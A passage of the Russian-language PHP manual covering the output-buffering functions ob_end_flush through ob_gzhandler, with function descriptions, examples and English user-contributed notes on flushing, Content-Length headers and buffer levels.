    if ($headers["If-Modified-Since"] == $gmt_mtime) {
        header("HTTP/1.1 304 Not Modified");
        ob_end_clean();
        exit;
    }
}

$size=ob_get_length();
header("Last-Modified: ".$gmt_mtime);
header("Content-Length: $size");
ob_end_flush();

Instead of checking the If-Modified-Since-Header against the date of the last modification of the script, you can of course query a database or take any other date that is somehow related to the modification of the result of your script.

You can for instance use this technique to generate images dynamically. If the user indicates he already has a version of the image by the If-Modified-Since-Header, there's no need to generate it and let the server finally discard it because the server only then interpretes the If-Modified-Since-Header.
This saves server load and shortens response-times.


Сбросить (отправить) буфер вывода и отключить буферизацию вывода

  • « ob_end_clean
  • ob_flush »
  • PHP Manual
  • Функции контроля вывода
  • Сбросить (отправить) буфер вывода и отключить буферизацию вывода

ob_end_flush

(PHP 4, PHP 5, PHP 7, PHP 8)

ob_end_flush — Сбросить (отправить) буфер вывода и отключить буферизацию вывода

Описание

ob_end_flush(): bool

Эта функция отправит содержимое самого верхнего буфера вывода (если оно имеется) и отключит этот буфер вывода. Если вы хотите использовать содержимое буфера, то вам необходимо вызвать ob_get_contents() перед ob_end_flush(), т. к. все содержимое буфера удаляется при вызове ob_end_flush().

Буфер вывода должен запускаться функцией ob_start() с флагами PHP_OUTPUT_HANDLER_FLUSHABLE и PHP_OUTPUT_HANDLER_REMOVABLE.

Замечание: Эта функция аналогична ob_get_flush(), за исключением того, что ob_get_flush() возвращает содержимое буфера в виде строки.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Возвращает true в случае успешного выполнения или false в случае возникновения ошибки. Основной причиной неудачного завершения работы функции является её вызов без активного буфера или если буфер не может быть удалён (специальный тип буфера).

Ошибки

Если функция завершается ошибкой, генерируется E_NOTICE.

Примеры

Пример #1 Пример использования функции ob_end_flush()

Следующий пример показывает простой способ сброса и завершения всех буферов вывода:

<?php
while (@ob_end_flush());
?>

Смотрите также

  • ob_start() - Включение буферизации вывода
  • ob_get_contents() - Возвращает содержимое буфера вывода
  • ob_get_flush() - Сбросить буфер вывода, вернуть его в виде строки и отключить буферизацию вывода
  • ob_flush() - Сбросить (отправить) буфер вывода
  • ob_end_clean() - Очистить (стереть) буфер вывода и отключить буферизацию вывода

User Contributed Notes

Patrick 19-Nov-2023 04:50
NOTE: In IIS, flushing the output buffer doesnt work until you add the following to your web.config file under the PHP handler:

responseBufferLimit="0"

I discovered this when I would only get SSE output when the script failed.
nico (at) nokes.de 26-Aug-2012 04:24
best way to compress a css code:

<?php
  header('Content-type: text/css');

  ob_start("compress");
  function compress($buffer) {
    // remove comments
    $buffer = preg_replace('!/\*[^*]*\*+([^/][^*]*\*+)*/!', '', $buffer);
    // remove tabs, spaces, newlines, etc.
    $buffer = str_replace(array("\r\n", "\r", "\n", "\t", '  ', '    ', '    '), '', $buffer);
    return $buffer;
  }

  include('./template/main.css');
  include('./template/classes.css');

<?php
  ob_end_flush();
?>

Include in <head>:
<link rel="stylesheet" type="text/css" href="/design.php" media="all" />
anatoliy at miraline dot com 11-Apr-2011 09:06
If you enable zlib.output_compression then level count will be increased by 1 and then this code:

<?php while (ob_get_level()) { ob_end_clean(); } ?>

will just freeze your script.
Mark 24-Jun-2010 01:49
Wanted to speed things up and put some processing after the page has been delivered to the client. That drove me almost insane, but finally, I found a solution (php 5.2.5):

<?php
ob_start(); // outer buffer
ob_start(); // inner buffer to catch URL rewrites and other post processing
session_start(); // registers URL rewriter with inner buffer!
echo '...';
// log performance data to log files *after* delivering the page!
register_shutdown_function(array($benchmarkclass,'log_perf_data'));
// now flush output output to client
ob_end_flush();
// need to calculate content length *after* URL rewrite!
header("Content-length: ".ob_get_length());
ob_end_flush();
// now we close the session and do some arbitrary clean-up tasks
// registered using register_shutdown_function()
session_write_close();
?>
unxed 06-Mar-2010 06:50
Remember that chromium browser (and maybe other webkit-based browsers) have some issues with ob_end_flush.

http://code.google.com/p/chromium/issues/detail?id=31410

You may use
header("Content-Type: text/plain");
to solve those issues if you do not need html.
shanep 21-Jan-2010 09:31
It appears that ob_end_flush() is very important if you are looping.  For instance if you are using a mass mailer that uses the output buffer for creating HTML content.  Use ob_end_flush() to avoid server errors.
skippy at zuavra dot net 01-Jul-2005 02:10
Apart from being mostly redundant, ob_end_flush() can be downright damaging in some weird cases.

Actual example: a particular page on an Intranet website which would appear blank on Internet Explorer 6 when ob_start('ob_gzhandler') was called in the beginning and ob_end_flush() at the end.

We couldn't figure out what made that page special no matter what we tried. The ob_ functions were placed in scripts which were include()'d by all pages just the same, but only that page did this.

Even stranger, the problem only appeared on direct browser/server connections. Whenever the connection passed through a proxy the problem dissapeared. I'm guessing some kind of HTTP encoding headers mumbo-jumbo.

Solution: unless you really need it in particular cases, remove the ob_end_flush() call and rely on the builtin, automatic buffer flush.
jhannus at 128kb dot com 05-Jun-2004 09:18
A note on the above example...

with PHP 4 >= 4.2.0, PHP 5 you can use a combination of ob_get_level() and ob_end_flush() to avoid using the @ (error suppresion) which should probably be a little faaster.

<?php

while (ob_get_level() > 0) {
    ob_end_flush();
}

?>
kriek at jonkriek dot com 29-Mar-2003 09:22
ob_end_flush() isn't needed in MOST cases because it is called automatically at the end of script execution by PHP itself when output buffering is turned on either in the php.ini or by calling ob_start().
brett at realestate-school dot com 26-Sep-2002 01:01
It appears that you can call ob_end_flush() regardless of whether or not output buffering was ever started using ob_start(). This can prove useful because it saves you from having to create conditional statements based on whether a particular function or include file has started output buffering. You can simply call the ob_end_flush() anyway and if there's output in the buffer, it will be sent, otherwise your script will just keep on keepin' on.


Сбросить (отправить) буфер вывода

  • « ob_end_flush
  • ob_get_clean »
  • PHP Manual
  • Функции контроля вывода
  • Сбросить (отправить) буфер вывода

ob_flush

(PHP 4 >= 4.2.0, PHP 5, PHP 7, PHP 8)

ob_flush — Сбросить (отправить) буфер вывода

Описание

ob_flush(): bool

Эта функция отправит содержимое буфера вывода (если имеется).
Если необходима дальнейшая обработка буфера вывода, то следует
вызвать ob_get_contents() перед
ob_flush(), так как содержимое буфера будет
удалено после вызова ob_flush().

Эта функция не уничтожает буфер вывода, как это делает ob_end_flush().

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Возвращает true в случае успешного выполнения или false в случае возникновения ошибки.

Смотрите также

  • ob_get_contents() - Возвращает содержимое буфера вывода
  • ob_clean() - Очистить (стереть) буфер вывода
  • ob_end_flush() - Сбросить (отправить) буфер вывода и отключить буферизацию вывода
  • ob_end_clean() - Очистить (стереть) буфер вывода и отключить буферизацию вывода

User Contributed Notes

thecichos at gmail dot com 21-Nov-2023 12:12
The output buffer seems to work best when the server is returning a code 206 and setting the output_buffering lower temporarily to let it fill up

This tells the browser to wait for additional content
for example:
// Set the header to 206
header("HTTP/1.1 206 Partial Content; Content-Type: text/html; CHARSET=Windows-1251");

// Flush the current outputbuffer
flush();
ob_flush();
ob_end_flush();

// Create a new output buffer
ob_start();

// Save the current output buffer size
$tempBuffering = ini_get("output_buffering");

// Set a new, much smaller buffer size
ini_set("output_buffering", 256);

// Do some buffering
!!!   All your amazing code goes here   !!!

// Fill the buffer with something if needed
echo str_pad(" ", (int)ini_get("output_buffering"), " ");
flush();
ob_flush();

// Revert the buffer size
ini_set("output_buffering", $tempBuffering);
jake at qzdesign dot co dot uk 12-Oct-2018 11:24
If there is no active output buffer, an error of level E_NOTICE is generated (at least in PHP 7.1).  To avoid this, test first with `ob_get_level()`.
chris - latko - org 19-Aug-2015 10:53
Although browsers now have an all or none buffering strategy, the arguments are not moot.

If you are not using ob_flush, you run this risk of exceeding socket timeouts (commonly seen in php-fpm/nginx combos).

Basically, flushing solves the infamous 504 Gateway Time-out error.
cesoid at gmail dot com 08-Mar-2013 08:30
Currently I have Chrome on OS X Snow Leopard updating a page as it is sent more data, BUT it only does this after I send it <body> along with 1013 more characters (making 1019 total characters). After it receives this it immediately displays it and then displays anything else as it is received. (Note that this browser-operating system combination isn't necessarily the only one, it's just the only one I've tested.)

In order to do this using php, I've done nothing but send ob_flush() after each echo or print. I can also make it happen without ob_flush() by calling ob_implicit_flush(), then ob_end_flush() before print, and then it updates with each print after that. I have pretty typical settings and I change none of them when the file runs, it literally looks like this:

<?php
  ob_implicit_flush();
  ob_end_flush();
  ?><body>[1013 more characters]<?php
  for ($i = 1; $i < 30000000; ++$i) {}
  echo "something that didn't show up immediately";
?>

(Ok, the "[1013 more characters]" part wasn't strictly literal.)

If you want just text in the browser, you do this before everything else:

<?php
header("Content-type: text/plain");
...
?>

Then it won't care whether you sent a body tag, it will just wait for 1019 characters.
Lee 11-Aug-2012 11:23
As of August 2012, all browsers seem to show an all-or-nothing approach to buffering. In other words, while php is operating, no content can be shown.

In particular this means that the following workarounds listed further down here are ineffective:

1) ob_flush (),  flush () in any combination with other output buffering functions;

2) changes to php.ini involving setting output_buffer and/or zlib.output_compression to 0 or Off;

3) setting Apache variables such as "no-gzip" either through apache_setenv () or through entries in .htaccess.

So, until browsers begin to show buffered content again, the tips listed here are moot.
dermeister dot online at gmail dot com 05-Jul-2012 01:43
some problems with ob_flush() and flush() could be resolved by defining content type header :
header( 'Content-type: text/html; CHARSET=Windows-1251' );

so working code looks like this:
<?php
header( 'Content-type: text/html; CHARSET=Windows-1251' );
echo 'Begin ...<br />';
for( $i = 0 ; $i < 10 ; $i++ )
{
    echo $i . '<br />';
    flush();
    ob_flush();
    sleep(1);
}
echo 'End ...<br />';
?>
riimeik 17-Oct-2010 01:44
If you're still not getting the buffer work correctly then try to clean all the others before starting your own (and even if PHP tells you that there are no buffers active):

while(@ob_end_clean());
sebastian at jcompare dot com 26-Apr-2009 07:05
For some reason, calling just flush or ob_flush or even both together did not get my output buffers flushed, and calling ob_end_flush by itself didn't work either but calling them all worked well. Here is my new output flushing function.

<?php
function flush_buffers(){
    ob_end_flush();
    ob_flush();
    flush();
    ob_start();
}
?>

Enjoy
Jens 29-Oct-2008 07:01
If you call ob_flush() and flush() and still dont get the buffer flushed it might be because some antivirus software (Panda in this case) holds the buffer until the page has finished loaded before sending it to the browser.
colnector at@ colnect punto com 08-Jul-2008 04:35
As stated in flush() manual entry, if php compresses the ouput with zlib this function may be ineffective.

A possible option for folders on your server that have scripts which may take a long time to run is to add the following in your relevant .htaccess file:

<FilesMatch "\.(php|html?)$">
php_flag zlib.output_compression off
php_value max_execution_time 3000
php_value max_input_time 3000
</FilesMatch>
kel at no-spam dot newcastleinfotech dot com dot au 05-Jun-2008 09:33
Also note that any data in the buffer will flush at the end of the script, not destroyed, so it is often not necessary to call ob_flush(); for example:

<?php
ob_start();
echo 'Hello World!'
?>

Will still result in Hello World! being displayed to the browser.
21-Sep-2005 06:37
I was having problems with output buffering which seemed to be active by default on the server, although phpinfo said something else..

In any case I needed to know that when I ran ob_start, it would start at the top level, so I could use ob_flush as it's intended without having to call multiple ob_flush in-script - this is what I did:

<?php

// make sure output buffering is off before we start it
// this will ensure same effect whether or not ob is enabled already
while (ob_get_level()) {
    ob_end_flush();
}
// start output buffering
if (ob_get_length() === false) {
    ob_start();
}

?>

Then I could call ob_flush(); followed by flush(); and get the output I wanted, which I didn't if I started the script with just ob_start();

This was on a windows apache 2 server with php 5.0.4 btw.
24-Jun-2005 06:27
You must call them in the correct order.
ob_flush();
flush();
Reynard Hilman 22-Jun-2005 02:29
when using command line php, if somewhere in your script you have ob_start(), you have to call ob_end_flush() first, and then you can call these functions:
flush();
ob_flush();

without calling ob_end_flush first, flush and ob_flush does not have any effect, at least that's what I experienced.
jeremy at e2-media dot co dot nz 25-May-2005 04:09
we had problems with flushing data to the browser. a simple call to ob_flush() or flush() would not work. We found that repeatly calling theses fuctions did work however.

<?
flush();
ob_flush();
flush();
ob_flush();
flush();
ob_flush();
?>

go figure!


Получить содержимое текущего буфера и удалить его

  • « ob_flush
  • ob_get_contents »
  • PHP Manual
  • Функции контроля вывода
  • Получить содержимое текущего буфера и удалить его

ob_get_clean

(PHP 4 >= 4.3.0, PHP 5, PHP 7, PHP 8)

ob_get_clean — Получить содержимое текущего буфера и удалить его

Описание

ob_get_clean(): string|false

Получает содержимое текущего буфера и затем удаляет текущий буфер.

ob_get_clean() по сути выполняет
ob_get_contents() и
ob_end_clean().

Буфер вывода должен запускаться функцией ob_start() с флагами PHP_OUTPUT_HANDLER_CLEANABLE и PHP_OUTPUT_HANDLER_REMOVABLE. Иначе ob_get_clean() не сработает.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Возвращает содержимое буфера вывода и заканчивает буферизацию вывода. Если буферизация вывода не активирована, то функция вернёт false.

Примеры

Пример #1 Простой пример использования функции ob_get_clean()

<?php

ob_start();

echo "Привет мир";

$out = ob_get_clean();
$out = strtolower($out);

var_dump($out);
?>

Результат выполнения данного примера:

string(11) "привет мир"

Смотрите также

  • ob_get_contents() - Возвращает содержимое буфера вывода
  • ob_start() - Включение буферизации вывода

User Contributed Notes

Peter Smartt 30-Oct-2017 08:58
I was trying to debug my code using error_log() and I discovered that ob_get_clean() also truncates the error_log() buffer right in the middle of its output, and well as the output buffer which it is supposed to truncate.  If you are using error_log(), use ob_get_contents() and ob_end_clean() instead of ob_get_clean().
geo dot artemenko at gmail dot com 12-Mar-2014 10:04
The definition should mention that the function also "turns off output buffering", not just cleans it.
paul+phpnet at earth2me dot com 08-Oct-2013 12:08
Keep in mind that output may be buffered by default, depending on how you are running PHP (CGI, CLI, etc.).   You can use ob_get_level() to determine if an output buffer has already been started.  On most web servers I've used, output buffering is already one level deep before my scripts start running.

You should only end as many output buffers as you start.  Assuming that your buffer is always the first buffer, or otherwise closing pre-existing buffers, could lead to problems.  In PHP 5.5, you can ensure that output buffers are ended properly using a try-finally block.

Something like this is almost guaranteed to break stuff:

<?php
// Don't ever do this!
while (ob_get_level() > 1)
{
    ob_end_flush();
}

$content = ob_get_clean();
?>

The problem is that number, "1".  Using a fixed number there is asking for trouble.  Instead, use ob_get_level() to get the number of output buffers applied when your code starts, and return to that number, if you really must use an unknown number of output buffers:

<?php
ob_start();
$saved_ob_level = ob_get_level();

// Do stuff here:
run_something();

// If you really must close all of your output buffers except one, this'll do it:
while (ob_get_level() > $start_ob_level)
{
    ob_end_flush();
}

// And now, the final output buffer that belongs to us:
$content = ob_get_clean();
?>
sergei dot solomonov at gmail dot com 25-Aug-2012 04:20
<?php
ob_start();
echo "1";
$content = ob_get_clean();

echo "2";
$content .= ob_get_clean();

echo $content;
?>

This script outputs 21 in CLI mode and 12 otherwise (under my apache and nginx)
steven at bielik dot com 21-Feb-2011 11:57
Also, don't forget that you will need to ob_start() again for any successive calls:

<?php
ob_start();
echo "1";
$content = ob_get_clean();

ob_start(); // This is NECESSARY for the next ob_get_clean() to work as intended.
echo "2";
$content .= ob_get_clean();

echo $content;
?>

Output: 12

Without the second ob_start(), the output is 21 ...
ludvig dot ericson at gmail dot com 10-Aug-2005 07:10
Notice that the function beneath does not catch errors, so throw in an @ before those ob_* calls


Возвращает содержимое буфера вывода

  • « ob_get_clean
  • ob_get_flush »
  • PHP Manual
  • Функции контроля вывода
  • Возвращает содержимое буфера вывода

ob_get_contents

(PHP 4, PHP 5, PHP 7, PHP 8)

ob_get_contents — Возвращает содержимое буфера вывода

Описание

ob_get_contents(): string|false

Получает содержимое буфера без его очистки.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Функция вернёт содержимое буфера вывода или false, если буферизация вывода не активирована.

Примеры

Пример #1 Простой пример использования функции ob_get_contents()

<?php

ob_start();

echo "Привет ";

$out1 = ob_get_contents();

echo "Мир";

$out2 = ob_get_contents();

ob_end_clean();

var_dump($out1, $out2);
?>

Результат выполнения данного примера:

string(6) "Привет "
string(11) "Привет Мир"

Смотрите также

  • ob_start() - Включение буферизации вывода
  • ob_get_length() - Возвращает размер буфера вывода

User Contributed Notes

Mark Clements 03-Oct-2014 08:38
Note that, unlike PHP variables which make efficient use of memory, getting the contents of the output buffer results in a new copy of the buffer being made.  This can end up massively increasing the memory requirements of your script if your output is large.

Example code:

<?php

print(memory_get_usage() . "<br>");

ob_start();

for ($i = 0; $i < 5000000; $i++)
    print(" ");

print(memory_get_usage() . "<br>");

$foo = ob_get_contents();

print(memory_get_usage() . "<br>");

ob_end_flush();

?>

Output:

  351664
 5359152
10359256
ipfound at gmail dot com 01-Oct-2014 07:13
The ob_get_contents() function has different return behaivor in PHP 5.3.x and PHP 5.5.x. Take a look at very simple example for PHP 5.3

<?php
var_dump(ob_get_contents());
?>
Output: bool(false)

but in PHP 5.5.x, the same php code will return:
Output: string (0) ""

Actually, we can use type regulation - intval(ob_get_contents()), for cheking On/Off output buffering, but it lays the possible problems in the future.
DrDreistein at dontknow dot at 04-Oct-2011 04:07
i made a simple test which is faster: adding some text in the normal way or by the ob stack:

<?php
$start = microtime(true);
$var = '';
for($i=0 ; $i <= 1000000 ; $i++) {
    $var .= ' ';
}
$middle = microtime(true);

ob_start();
for($i=0 ; $i <= 1000000 ; $i++) {
    echo ' ';
}
$var = ob_get_contents();
ob_end_clean();

$end = microtime(true);

echo $middle - $start;
echo '<br />';
echo $end - $middle;
?>

Outputs something like this:

0.33658003807068
0.30778789520264
mauroasprea+php at gmail dot com 30-Dec-2010 08:10
This is an example of how the stack works:

<?php
//Level 0
ob_start();
echo "Hello ";

//Level 1
ob_start();
echo "Hello World";
$out2 = ob_get_contents();
ob_end_clean();

//Back to level 0
echo "Galaxy";
$out1 = ob_get_contents();
ob_end_clean();

//Just output
var_dump($out1, $out2);
?>
m227 ( at ) poczta dot onet dot pl 24-Feb-2005 06:53
if you use ob_start with a callback function as a parameter, and that function changes ob string (as in example in manual) don't expect that ob_get_contents will return changed ob.
it will work as you would use ob_start with no parameter at all. So don't be confused.
http://www.francescosaf.altervista.org 08-Feb-2005 02:04
transfer image, another method (alternative to fsockopen or function socket) :

server(192.168.0.1)
makeimage.php
       ...........
       ...........
       $nameimage="xxxx.jpg"
       $comand=exec("plotvelocity.sh $nameimage $paramater1 $paramater2");
       ob_start();
        readfile($nameimage);
        $image_data = ob_get_contents();
        ob_end_clean();
        echo $image_data;
        unlink($nameimage);

Client  (192.168.0.2)
  $bild="images/newimage2.gif";
  $host="192.168.0.1";
  $url=file_get_contents("http://$host/makeimage.php?$querystring");
  $fp = fopen("$bild", 'wb');
  fwrite($fp, $url);
  fclose($fp);
  echo '<img src="'.$bild.'">';

naturally you can transfer whichever thing and not only images


Сбросить буфер вывода, вернуть его в виде строки и отключить буферизацию вывода

  • « ob_get_contents
  • ob_get_length »
  • PHP Manual
  • Функции контроля вывода
  • Сбросить буфер вывода, вернуть его в виде строки и отключить буферизацию вывода

ob_get_flush

(PHP 4 >= 4.3.0, PHP 5, PHP 7, PHP 8)

ob_get_flush — Сбросить буфер вывода, вернуть его в виде строки и отключить буферизацию вывода

Описание

ob_get_flush(): string|false

ob_get_flush() сбрасывает буфер вывода, возвращая его содержимое в виде строки и отключает буферизацию вывода.

Буфер вывода должен запускаться функцией ob_start() с флагом PHP_OUTPUT_HANDLER_FLUSHABLE. Иначе не сработает ob_get_flush().

Замечание: Эта функция аналогична ob_end_flush() за исключением того, что эта функция также возвращает буфер в виде строки.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Возвращает буфер вывода или false, если буферизация не активна.

Примеры

Пример #1 Пример использования функции ob_get_flush()

<?php
//Используется output_buffering=On
print_r(ob_list_handlers());

//сохранить буфер в файл
$buffer = ob_get_flush();
file_put_contents('buffer.txt', $buffer);

print_r(ob_list_handlers());
?>

Результат выполнения данного примера:

Array
(
    [0] => default output handler
)
Array
(
)

Смотрите также

  • ob_end_clean() - Очистить (стереть) буфер вывода и отключить буферизацию вывода
  • ob_end_flush() - Сбросить (отправить) буфер вывода и отключить буферизацию вывода
  • ob_list_handlers() - Список всех используемых обработчиков вывода

User Contributed Notes

taras dot dot dot di at gmail dot com 14-Aug-2008 07:53
I don't know how exactly this works, but if you call this function, PHP would behave as if headers have been sent (even though the output has gone to a string).

This means that you can't call this function, and then call setcookie for example.

This was verified by trial and error
info at pcdoctor dot fr 08-Jun-2008 08:35
Hi,
this is just to add a behavior that I haven't understud at first place.

ob_get_flush actually returns the content of the buffer as a text but also it sends the buffer back to the browser so that it's displayed on user screen.

Use ob_get_clean if you do not want the buffer to be send to the user
zubin@byron 07-Sep-2005 07:28
Correction to previous post: ob_get_clean() is better, ie:

<?php
// start generating html
$html = '<html><head>'; // etc
// start output buffering
ob_start();
// call function which outputs immediately
print_menu();
// append this to $html and empty buffer
$html .= ob_get_clean();
?>
zubin@byron 31-Aug-2005 01:21
I found this function is useful for storing output instead of displaying it. For example, I wanted to use an old function which echoed the ouput but I wanted it in a variable, not outputted immediately. Here's how:

<?php
// start generating html
$html = '<html><head>'; // etc
// start output buffering
ob_start();
// call function which outputs immediately
print_menu();
// append this to $html
$html .= ob_get_flush();
// empty output buffer
ob_clean();
?>


Возвращает размер буфера вывода

  • « ob_get_flush
  • ob_get_level »
  • PHP Manual
  • Функции контроля вывода
  • Возвращает размер буфера вывода

ob_get_length

(PHP 4 >= 4.0.2, PHP 5, PHP 7, PHP 8)

ob_get_length — Возвращает размер буфера вывода

Описание

ob_get_length(): int|false

Вернёт размер в байтах содержимого в буфере вывода.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Возвращает размер в байтах содержимого буфера вывода или false, если буферизация не активна.

Примеры

Пример #1 Простой пример использования функции ob_get_length()

<?php

ob_start();

echo "Привет ";

$len1 = ob_get_length();

echo "Мир";

$len2 = ob_get_length();

ob_end_clean();

echo $len1 . ", " . $len2;
?>

Результат выполнения данного примера:

13, 19

Смотрите также

  • ob_start() - Включение буферизации вывода
  • ob_get_contents() - Возвращает содержимое буфера вывода

User Contributed Notes

Nitrogen 14-Feb-2009 09:34
I use this function to produce a small speed test in my pages since I run my website from my home computers.

<?php
ob_start();
$StartTime=microtime(1);
?>
.. webpage data goes here ..

<?php
// footer?
printf("%s seconds to produce (%skb/sec)",
  microtime(1)-$StartTime,
  Round((ob_get_length()/(microtime(1)-$StartTime))/1024));

ob_end_flush();
?>

Note: don't forget the "speed" depends on how quick the content is actually generated and not on the speed the data is sent to the client..
However it would be good to see such function to get the real speed. :)

Nitrogen.
stangelanda at arrowquick dot com 03-Aug-2007 08:36
If you don't buffer your output, it doesn't seem like it would be possible for a web server to output a Content-Length header.  For static files it can check the filesize, but for dynamic files that send output a little by little there is no way to know how many bytes it is going to output.  And the headers have to be sent before a single byte is output.

Also if you're wondering why the Content-Length is important, the browser doesn't close the connection as long as the script is running.  So if you register time consuming shutdown functions, the browser will still 'spin' waiting for more content until they complete.  (I'm not sure this happens under all conditions, but I am certain the sending the Content-Length always prevents this.)

You might take note that this manual page does not currently output any Content-Length header.

Alternatively using mb_strlen($output, 'latin1') seems to work to determine bytes in a string.  strlen may or may not depending on if it has been set up as a multibyte or not.
Sinured 11-Jul-2007 03:25
> Dude, your web server will compute Content-length for you!

I've noticed that Apache 1.3 doesn't do that.
However, if you're running Apache 2.2 (and maybe 2.0, haven't experienced that yet) you don't need to worry about Content-Length.
rush at logic dot cz 02-Dec-2005 02:02
There is a work-around for the situation you need to get length of the gz-ed buffer.

ob_start();
ob_start('ob_gzhandler');

  ... output the page content...

ob_end_flush();  // The ob_gzhandler one

header('Content-Length: '.ob_get_length());

ob_end_flush();  // The main one

more info at http://www.edginet.org/techie/website/http.html
webmaster at crescentart dot com 29-Jun-2001 01:58
Here is an easy way to get the header Content-Lenght.
<?
ob_start();
?>

Put HTML tags.

<?
$size=ob_get_length();
header("Content-Length: $size");
ob_end_flush();
?>


Возвращает уровень вложенности механизма буферизации вывода

  • « ob_get_length
  • ob_get_status »
  • PHP Manual
  • Функции контроля вывода
  • Возвращает уровень вложенности механизма буферизации вывода

ob_get_level

(PHP 4 >= 4.2.0, PHP 5, PHP 7, PHP 8)

ob_get_level — Возвращает уровень вложенности механизма буферизации вывода

Описание

ob_get_level(): int

Вернёт уровень вложенности механизма буферизации вывода.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Возвращает уровень вложенности обработчиков буферизации вывода или 0, если буферизация не активна.

Смотрите также

  • ob_start() - Включение буферизации вывода
  • ob_get_contents() - Возвращает содержимое буфера вывода

User Contributed Notes

Anonymous 21-May-2015 06:34
This can be used to handle exceptions properly when using output buffering for rendering a view which may or may not be using output buffering

<?php

function getView($view)
{
    $level = ob_get_level();

    ob_start();

    try
    {
        include $view;
    }

    catch (Exception $e)
    {
        while (ob_get_level() > $level)
        {
            ob_end_clean();
        }

        throw $e;
    }

    return ob_get_clean();
}
Anonymous 11-Jun-2012 11:04
For users confused about getting "1" as a return value from ob_get_level at the beginning of a script: this likely means the PHP ini directive "output_buffering" is not set to off / 0. PHP automatically starts output buffering for all your scripts if this directive is not off (which acts as if you called ob_start on the first line of your script).

If your scripts may end up on any server and you don't want end-users to have to configure their INI, you can use the following at the start of your script to stop output buffering if it's already started:
<?php
if (ob_get_level()) ob_end_clean();
?>

Alternatively, you can use the opposite if you always want to have an output buffer at the start of your script:
<?php
if (!ob_get_level()) ob_start();
?>
mark dot richards at massmicro dot com 17-Mar-2012 02:24
It was noted that ob_get_level() reports 1 prior to starting buffering, and in php 5.3.6-13 I can confirm this:

    <?php
      echo ob_get_level(); // --> 1
    ?>

It seems an internal counter for the output buffering needs to be initialized.  To start things off properly, this appears to do:

    <?php
      ob_end_clean();
      echo ob_get_level(); // --> 0
    ?>
18-May-2005 08:45
Sometimes, ob_get_level() may be off by 1 because at the start of the script, it will return 1 even if ob_start() has never been called (and clearing the output buffer via ob_end_clean() and the like can be done without error).  As a result, the first ob_start() will have an ob_get_level() of 2, the second will be 3, and so on.

I'm not sure if this is a PHP 5 thing or [if it's related to when a] server is set to gzip all html documents.

Also, up until at least PHP 5.0.4 (current version), ob_get_level() will always return 0 inside a destructor.  This happens because the garbage collection for output buffers has already done before the destructor is called.  If you want to do something with the output buffer from within an object before the script exits, using a callback function with ob_start() is the way to go.
bonzini at gnu dot org 07-Jul-2004 09:03
Even under older PHP, you can decide if output buffering is active (i.e. ob_get_level() > 0) using

   <?php $ob_active = ob_get_length () !== FALSE ?>

Paolo


Получить статус буфера вывода

  • « ob_get_level
  • ob_gzhandler »
  • PHP Manual
  • Функции контроля вывода
  • Получить статус буфера вывода

ob_get_status

(PHP 4 >= 4.2.0, PHP 5, PHP 7, PHP 8)

ob_get_status — Получить статус буфера вывода

Описание

ob_get_status(bool $full_status = false): array

ob_get_status() возвращает информацию о состоянии буфера верхнего уровня или на всех уровнях активных буферов, если full_status установлен в true.

Список параметров

full_status

Если true, то вернёт все уровни активных буферов. Если false или не установлен, то вернёт статус только самого верхнего уровня.

Возвращаемые значения

Если функция вызвана без параметра full_status или full_status = false, то возвращается простой массив из следующих элементов:

Array
(
    [level] => 2
    [type] => 0
    [status] => 0
    [name] => URL-Rewriter
    [del] => 1
)
Результаты простого вызова ob_get_status()
Ключ | Значение
level | Уровень вложенности вывода
type | PHP_OUTPUT_HANDLER_INTERNAL (0) или PHP_OUTPUT_HANDLER_USER (1)
type | 0 (внутренний обработчик) или 1 (предоставленный пользователем обработчик)
name | Название действующего обработчика вывода или 'default output handler', если не задан
del | Флаг очистки, установленный ob_start()

Если функция вызвана с full_status = true, то возвращается массив из элементов уровней активных буферов. В качестве ключа используется уровень вывода, и каждый элемент массива содержит в себе массив информации о статусе одного из активных элементов вывода.

Array
(
    [0] => Array
        (
            [chunk_size] => 0
            [size] => 40960
            [block_size] => 10240
            [type] => 1
            [status] => 0
            [name] => default output handler
            [del] => 1
        )

    [1] => Array
        (
            [chunk_size] => 0
            [size] => 40960
            [block_size] => 10240
            [type] => 0
            [buffer_size] => 0
            [status] => 0
            [name] => URL-Rewriter
            [del] => 1
        )

)

Полный вывод содержит следующие дополнительные элементы:

Полные результаты ob_get_status()
Ключ | Значение
chunk_size | Размер порции, установленный ob_start()
size | ...
blocksize | ...

Смотрите также

  • ob_get_level() - Возвращает уровень вложенности механизма буферизации вывода
  • ob_list_handlers() - Список всех используемых обработчиков вывода

User Contributed Notes

rmagalhaess at hotmail dot com 12-Sep-2017 07:32
The fields inside the array returned by ob_get_status() are:

Array
(
    [name] => default output handler
    [type] => 0
    [flags] => 112
    [level] => 1
    [chunk_size] => 0
    [buffer_size] => 16384
    [buffer_used] => 0
)

These values are filled just after the function ob_start()


callback-функция, используемая для gzip-сжатия буфера вывода при вызове ob_start

  • « ob_get_status
  • ob_implicit_flush »
  • PHP Manual
  • Функции контроля вывода
  • callback-функция, используемая для gzip-сжатия буфера вывода при вызове ob_start

ob_gzhandler

(PHP 4 >= 4.0.4, PHP 5, PHP 7, PHP 8)

ob_gzhandler — callback-функция, используемая для gzip-сжатия буфера вывода при вызове ob_start

Описание

ob_gzhandler(string $data, int $flags): string|false

Функция ob_gzhandler() предназначена для использования в качестве callback-функции для ob_start(), чтобы облегчить отправку gz-кодированных данных браузерам, поддерживающим сжатие веб-страниц. Прежде чем ob_gzhandler() отправит сжатые данные, она определяет, какой тип кодирования содержимого сможет принять браузер ("gzip", "deflate" или вообще никакой) и вернёт его содержимое соответствующим образом. Поддерживаются все браузеры, отправляющие корректные заголовки о том, что они принимают сжатые веб-страницы. Если браузер не поддерживает сжатие страниц, эта функция вернёт false.

Список параметров

data

flags

Возвращаемые значения

Примеры

Пример #1 Пример использования функции ob_gzhandler()

<?php

ob_start("ob_gzhandler");

?>
<html>
<body>
<p>Это должно быть сжатой страницей.</p>
</body>
</html>

Примечания

Замечание:

ob_gzhandler() требует наличие модуля zlib.

Замечание:

Вы не можете использовать одновременно ob_gzhandler() и zlib.output_compression. Также обратите внимание, что использование zlib.output_compression предпочтительнее, чем ob_gzhandler().

Смотрите также

  • ob_start() - Включение буферизации вывода
  • ob_end_flush() - Сбросить (отправить) буфер вывода и отключить буферизацию вывода

User Contributed Notes

